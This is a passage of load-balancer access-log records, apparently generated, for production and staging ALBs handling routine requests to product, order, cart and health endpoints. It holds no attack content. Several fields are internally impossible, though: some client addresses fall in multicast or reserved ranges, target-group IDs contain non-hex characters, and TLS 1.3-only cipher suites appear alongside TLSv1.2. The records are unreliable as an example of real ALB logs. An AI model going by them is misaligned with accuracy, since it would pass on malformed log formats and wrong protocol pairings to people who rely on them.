"10.0.166.135:443" "404" "-" "-" +https 2024-11-01T02:47:20.353752Z prod-api-alb 111.237.67.18:58548 10.0.4.201:443 0.005052 0.021635 0.001901 302 302 759 317 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dec8-9addd37a52284bc1b30b6d60" "prod-api-alb.example.com" "-" 0 2024-11-01T02:47:20.353752Z "forward" "-" "-" "10.0.4.201:443" "302" "-" "-" +https 2024-11-01T02:47:21.992600Z prod-api-alb 18.7.219.217:51599 10.0.123.228:443 0.012272 0.427175 0.063219 404 404 515 13767 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dec9-8436db36aedd4bf6a4143a0b" "prod-api-alb.example.com" "-" 10 2024-11-01T02:47:21.992600Z "forward" "-" "-" "10.0.123.228:443" "404" "-" "-" +https 2024-11-01T02:47:23.488120Z prod-web-alb 236.53.138.169:17508 10.0.109.173:443 0.043674 0.079588 0.058354 404 404 781 7556 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723decb-658f48d0183448f89e093f02" "prod-web-alb.example.com" "-" 1 2024-11-01T02:47:23.488120Z "forward" "-" "-" "10.0.109.173:443" "404" "-" "-" +https 2024-11-01T02:47:24.995155Z staging-alb 64.38.153.119:17386 98.118.41.158:8080 0.053243 0.075623 0.066088 200 200 475 10841 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723decc-a54f88ffd5f546e290af87f8" "-" "-" 4 2024-11-01T02:47:24.995155Z "forward" "-" "-" "98.118.41.158:8080" "200" "-" "-" +http 2024-11-01T02:47:26.116641Z staging-alb 221.173.244.154:59033 79.107.171.12:80 0.102221 0.393300 0.102484 404 404 678 13474 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dece-1c05ff9f809c4839a11a39c2" "staging-alb.example.com" "-" 3 2024-11-01T02:47:26.116641Z "forward" "-" "-" "79.107.171.12:80" "404" "-" "-" +http 2024-11-01T02:47:27.253933Z staging-alb 162.71.68.133:51164 123.12.47.92:8080 0.067339 0.066835 0.116109 200 200 624 2892 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723decf-36b1556168d448dd8bb2efe8" "staging-alb.example.com" "-" 4 2024-11-01T02:47:27.253933Z "forward" "-" "-" "123.12.47.92:8080" "200" "-" "-" +https 2024-11-01T02:47:28.250439Z prod-web-alb 50.144.170.185:19171 10.0.192.115:443 0.062729 0.298060 0.099976 200 200 679 9025 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ded0-c4e95dd39e0e4906b12b09dc" "prod-web-alb.example.com" "-" 10 2024-11-01T02:47:28.250439Z "forward" "-" "-" "10.0.192.115:443" "200" "-" "-" +https 2024-11-01T02:47:30.156969Z prod-api-alb 11.44.88.217:50975 10.0.210.7:443 0.080918 0.155016 0.068138 200 200 986 10933 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ded2-558c949a2a4f4a41b3b7b890" "prod-api-alb.example.com" "-" 4 2024-11-01T02:47:30.156969Z "forward" "-" "-" "10.0.210.7:443" "200" "-" "-" +https 2024-11-01T02:47:30.506641Z prod-api-alb 117.128.93.96:32808 10.0.248.253:443 0.096575 0.414900 0.073219 301 301 310 3768 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ded2-6281f4366f3b4a5bb074283f" "prod-api-alb.example.com" "-" 4 2024-11-01T02:47:30.506641Z "forward" "-" "-" "10.0.248.253:443" "301" "-" "-" +https 2024-11-01T02:47:32.368918Z prod-web-alb 207.182.215.198:14893 10.0.116.110:443 0.007659 0.391778 0.059718 200 200 473 891 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ded4-95bf19164f344e54abf823d9" "prod-web-alb.example.com" "-" 0 2024-11-01T02:47:32.368918Z "forward" "-" "-" "10.0.116.110:443" "200" "-" "-" +https 2024-11-01T02:47:32.777433Z prod-web-alb 180.187.236.40:39930 10.0.168.48:443 0.087339 0.210562 0.000811 302 302 767 4191 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ded4-2551f6906b604cfaabe1109f" "prod-web-alb.example.com" "-" 2 2024-11-01T02:47:32.777433Z "forward" "-" "-" "10.0.168.48:443" "302" "-" "-" +https 2024-11-01T02:47:33.845388Z prod-api-alb 83.165.250.29:36297 10.0.3.33:443 0.022483 0.414751 0.072929 200 200 444 8275 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ded5-10233c53c4e348fc9427e020" "prod-api-alb.example.com" "-" 3 2024-11-01T02:47:33.845388Z "forward" "-" "-" "10.0.3.33:443" "200" "-" "-" +https 2024-11-01T02:47:34.257663Z staging-alb 28.178.108.42:29079 147.8.161.153:80 0.114104 0.584742 0.078051 301 301 546 13589 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ded6-63b3eba3d7444418a609bb9f" "staging-alb.example.com" "-" 2 2024-11-01T02:47:34.257663Z "forward" "-" "-" "147.8.161.153:80" "301" "-" "-" +https 2024-11-01T02:47:35.601371Z staging-alb 42.85.225.147:47328 39.161.234.202:443 0.050396 0.461656 0.086306 200 200 859 10311 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ded7-07b2e8c3aa754ccca3f0b16b" "staging-alb.example.com" "-" 8 2024-11-01T02:47:35.601371Z "forward" "-" "-" "39.161.234.202:443" "200" "-" "-" +https 2024-11-01T02:47:35.704183Z prod-api-alb 52.237.27.15:27168 10.0.177.85:443 0.073095 0.155819 0.003268 200 200 902 6202 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ded7-303ca7cb30c340a5a9294e0e" "prod-api-alb.example.com" "-" 0 2024-11-01T02:47:35.704183Z "forward" "-" "-" "10.0.177.85:443" "200" "-" "-" +http 2024-11-01T02:47:37.078559Z staging-alb 10.250.7.168:45692 96.190.12.35:443 0.078793 0.293685 0.116598 200 200 107 14187 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ded9-2627ec7c16ef449a8a1cc14d" "staging-alb.example.com" "-" 5 2024-11-01T02:47:37.078559Z "forward" "-" "-" "96.190.12.35:443" "200" "-" "-" +https 2024-11-01T02:47:38.312710Z prod-web-alb 46.53.74.70:35790 10.0.145.221:443 0.087863 0.207958 0.099269 200 200 962 2994 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723deda-231025c153854b0fa0a77be3" "prod-web-alb.example.com" "-" 5 2024-11-01T02:47:38.312710Z "forward" "-" "-" "10.0.145.221:443" "200" "-" "-" +http 2024-11-01T02:47:40.042264Z staging-alb 120.186.233.131:17408 95.126.183.159:80 0.094004 0.613311 0.026929 200 200 321 681 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dedc-90b878c9b6a147f890c79ca3" "staging-alb.example.com" "-" 10 2024-11-01T02:47:40.042264Z "forward" "-" "-" "95.126.183.159:80" "200" "-" "-" +https 2024-11-01T02:47:40.584498Z staging-alb 159.221.34.84:49928 175.210.52.129:8080 0.111007 0.610435 0.002938 200 200 712 9115 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dedc-dc67dcfd2b3a44788e386f5d" "staging-alb.example.com" "-" 10 2024-11-01T02:47:40.584498Z "forward" "-" "-" "175.210.52.129:8080" "200" "-" "-" +https 2024-11-01T02:47:41.597396Z prod-api-alb 123.97.154.201:48649 10.0.222.57:443 0.022029 0.011430 0.094294 200 200 430 8814 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dedd-da7fce1d430d49ed92a98798" "prod-api-alb.example.com" "-" 1 2024-11-01T02:47:41.597396Z "forward" "-" "-" "10.0.222.57:443" "200" "-" "-" +http 2024-11-01T02:47:41.958714Z staging-alb 102.80.37.119:53239 117.38.86.103:80 0.030072 0.049565 0.076028 200 200 78 3944 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dedd-27b8e1ad39654288b4f758e3" "staging-alb.example.com" "-" 1 2024-11-01T02:47:41.958714Z "forward" "-" "-" "117.38.86.103:80" "200" "-" "-" +https 2024-11-01T02:47:42.669514Z staging-alb 244.212.26.22:58638 209.219.31.229:443 0.025761 0.282561 0.038314 301 301 476 7488 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dede-f08f40384ce846908f90a170" "staging-alb.example.com" "-" 10 2024-11-01T02:47:42.669514Z "forward" "-" "-" "209.219.31.229:443" "301" "-" "-" +https 2024-11-01T02:47:43.711112Z prod-web-alb 59.242.186.216:14882 10.0.238.81:443 0.096609 0.320607 0.057285 200 200 299 12344 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dedf-b8ed24abb33f4bb4a20eddfa" "prod-web-alb.example.com" "-" 8 2024-11-01T02:47:43.711112Z "forward" "-" "-" "10.0.238.81:443" "200" "-" "-" +https 2024-11-01T02:47:44.868628Z prod-web-alb 110.167.186.170:32658 10.0.204.13:443 0.007223 0.088657 0.048685 200 200 945 13011 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dee0-8538e65103b44fc79693ae24" "prod-web-alb.example.com" "-" 8 2024-11-01T02:47:44.868628Z "forward" "-" "-" "10.0.204.13:443" "200" "-" "-" +https 2024-11-01T02:47:45.793154Z prod-web-alb 167.116.22.47:58849 10.0.148.3:443 0.043737 0.172672 0.004985 404 404 831 11776 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dee1-5fbb27062d0040d1ab95bd5b" "prod-web-alb.example.com" "-" 6 2024-11-01T02:47:45.793154Z "forward" "-" "-" "10.0.148.3:443" "404" "-" "-" +http 2024-11-01T02:47:46.660021Z staging-alb 204.252.82.187:58947 99.144.29.163:80 0.031896 0.438091 0.137122 200 200 435 9353 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dee2-649d2747e80d457b82a15d20" "-" "-" 9 2024-11-01T02:47:46.660021Z "forward" "-" "-" "99.144.29.163:80" "200" "-" "-" +https 2024-11-01T02:47:48.294234Z prod-api-alb 162.230.102.240:18423 10.0.107.182:443 0.030748 0.287418 0.004143 404 404 36 7058 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dee4-3823de19091948db902b54b2" "prod-api-alb.example.com" "-" 2 2024-11-01T02:47:48.294234Z "forward" "-" "-" "10.0.107.182:443" "404" "-" "-" +https 2024-11-01T02:47:48.483688Z prod-web-alb 8.103.155.199:58996 10.0.209.67:443 0.037826 0.325137 0.069029 302 302 147 2391 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dee4-11f04a72c0d9478cbcef5629" "prod-web-alb.example.com" "-" 3 2024-11-01T02:47:48.483688Z "forward" "-" "-" "10.0.209.67:443" "302" "-" "-" +https 2024-11-01T02:47:48.987958Z prod-web-alb 94.37.251.67:23389 10.0.127.121:443 0.059937 0.029365 0.051373 200 200 987 4387 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dee4-4e6276b700694dffbae94270" "prod-web-alb.example.com" "-" 10 2024-11-01T02:47:48.987958Z "forward" "-" "-" "10.0.127.121:443" "200" "-" "-" +https 2024-11-01T02:47:49.794312Z prod-api-alb 77.23.68.152:59449 10.0.156.169:443 0.069948 0.118419 0.066785 200 200 952 10761 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dee5-054ae301d6b346e79bf626ec" "prod-api-alb.example.com" "-" 7 2024-11-01T02:47:49.794312Z "forward" "-" "-" "10.0.156.169:443" "200" "-" "-" +https 2024-11-01T02:47:50.101944Z staging-alb 51.255.5.142:46585 11.245.226.15:80 0.046310 0.225444 0.011208 200 200 705 9997 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dee6-7bf6430ac1d04c0b8306d1ac" "staging-alb.example.com" "-" 6 2024-11-01T02:47:50.101944Z "forward" "-" "-" "11.245.226.15:80" "200" "-" "-" +https 2024-11-01T02:47:50.833230Z staging-alb 126.199.186.139:48616 141.2.164.77:80 0.096716 0.442104 0.111774 404 404 110 1378 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dee6-064a676980e44d919a14979a" "staging-alb.example.com" "-" 5 2024-11-01T02:47:50.833230Z "forward" "-" "-" "141.2.164.77:80" "404" "-" "-" +https 2024-11-01T02:47:51.153464Z prod-web-alb 47.133.212.44:64668 10.0.93.203:443 0.080398 0.414005 0.018779 200 200 258 1011 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dee7-0ea9bc98606948ce84be3c66" "prod-web-alb.example.com" "-" 1 2024-11-01T02:47:51.153464Z "forward" "-" "-" "10.0.93.203:443" "200" "-" "-" +https 2024-11-01T02:47:52.459296Z staging-alb 232.13.26.196:43454 13.232.239.145:443 0.027106 0.110883 0.016053 200 200 428 8986 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dee8-68a36a6b9bf045b3bc5bd821" "staging-alb.example.com" "-" 6 2024-11-01T02:47:52.459296Z "forward" "-" "-" "13.232.239.145:443" "200" "-" "-" +https 2024-11-01T02:47:53.502575Z prod-web-alb 164.92.180.35:23687 10.0.64.56:443 0.001324 0.404244 0.033472 404 404 593 11224 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dee9-99adef41e399441c946bdc95" "prod-web-alb.example.com" "-" 3 2024-11-01T02:47:53.502575Z "forward" "-" "-" "10.0.64.56:443" "404" "-" "-" +http 2024-11-01T02:47:55.269104Z staging-alb 130.34.51.194:12077 132.40.106.44:80 0.091309 0.255696 0.140551 200 200 78 6535 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723deeb-0fc88bf3ae30426d92001caf" "staging-alb.example.com" "-" 1 2024-11-01T02:47:55.269104Z "forward" "-" "-" "132.40.106.44:80" "200" "-" "-" +http 2024-11-01T02:47:57.039191Z staging-alb 66.78.12.107:47091 215.1.118.8:80 0.027957 0.145109 0.109807 404 404 454 14525 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723deed-d0257123ea9e47d29da46e02" "staging-alb.example.com" "-" 8 2024-11-01T02:47:57.039191Z "forward" "-" "-" "215.1.118.8:80" "404" "-" "-" +https 2024-11-01T02:47:57.314580Z prod-web-alb 217.82.37.97:30621 10.0.97.135:443 0.058936 0.152518 0.031912 200 200 65 11672 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723deed-b81fa6c518194cfe8c0e3272" "prod-web-alb.example.com" "-" 8 2024-11-01T02:47:57.314580Z "forward" "-" "-" "10.0.97.135:443" "200" "-" "-" +https 2024-11-01T02:47:58.246889Z prod-api-alb 35.208.174.69:61966 10.0.224.177:443 0.038175 0.070439 0.022559 404 404 411 6941 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723deee-e35cccc7d0a74b8a857323ce" "prod-api-alb.example.com" "-" 8 2024-11-01T02:47:58.246889Z "forward" "-" "-" "10.0.224.177:443" "404" "-" "-" +https 2024-11-01T02:47:58.864907Z prod-web-alb 138.197.56.198:29149 10.0.118.62:443 0.030123 0.192529 0.039235 404 404 342 8831 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723deee-1993cbe7de5746bbbffc7c6a" "-" "-" 9 2024-11-01T02:47:58.864907Z "forward" "-" "-" "10.0.118.62:443" "404" "-" "-" +http 2024-11-01T02:48:00.399110Z staging-alb 184.143.40.195:19329 88.130.74.167:8080 0.080670 0.109857 0.124238 200 200 772 14543 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723def0-b32690e27557406396af602b" "staging-alb.example.com" "-" 5 2024-11-01T02:48:00.399110Z "forward" "-" "-" "88.130.74.167:8080" "200" "-" "-" +https 2024-11-01T02:48:01.893569Z prod-web-alb 225.187.130.212:45830 10.0.12.16:443 0.077822 0.158991 0.081663 404 404 54 3354 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723def1-3b74ef2bb33b45c5a5c9403d" "prod-web-alb.example.com" "-" 2 2024-11-01T02:48:01.893569Z "forward" "-" "-" "10.0.12.16:443" "404" "-" "-" +https 2024-11-01T02:48:02.942692Z prod-api-alb 2.85.194.227:43955 10.0.22.195:443 0.080965 0.255493 0.040814 200 200 897 10576 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723def2-abccfe916cb44ac99c5f9ab5" "prod-api-alb.example.com" "-" 7 2024-11-01T02:48:02.942692Z "forward" "-" "-" "10.0.22.195:443" "200" "-" "-" +http 2024-11-01T02:48:03.663921Z staging-alb 253.207.200.224:45439 219.219.179.11:443 0.033080 0.629462 0.090110 302 302 875 8322 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723def3-8006a9c2e389407e9d61dba9" "staging-alb.example.com" "-" 6 2024-11-01T02:48:03.663921Z "forward" "-" "-" "219.219.179.11:443" "302" "-" "-" +https 2024-11-01T02:48:05.420896Z prod-web-alb 137.172.216.175:23476 10.0.67.42:443 0.054175 0.117990 0.063817 200 200 451 6526 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723def5-5efe74d1ceeb4ff39052bc77" "prod-web-alb.example.com" "-" 8 2024-11-01T02:48:05.420896Z "forward" "-" "-" "10.0.67.42:443" "200" "-" "-" +http 2024-11-01T02:48:06.464669Z staging-alb 208.123.56.111:49910 92.96.99.45:443 0.114827 0.686522 0.102629 404 404 625 9745 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723def6-980ef4a23fec479abde8fd1b" "staging-alb.example.com" "-" 7 2024-11-01T02:48:06.464669Z "forward" "-" "-" "92.96.99.45:443" "404" "-" "-" +https 2024-11-01T02:48:07.662977Z prod-api-alb 233.218.165.253:55072 10.0.208.150:443 0.099706 0.355576 0.058991 200 200 404 2716 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723def7-3454651785734fdfb0e60b55" "prod-api-alb.example.com" "-" 4 2024-11-01T02:48:07.662977Z "forward" "-" "-" "10.0.208.150:443" "200" "-" "-" +https 2024-11-01T02:48:08.789286Z prod-web-alb 29.186.15.235:21141 10.0.185.163:443 0.045834 0.207374 0.062818 302 302 8 10930 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 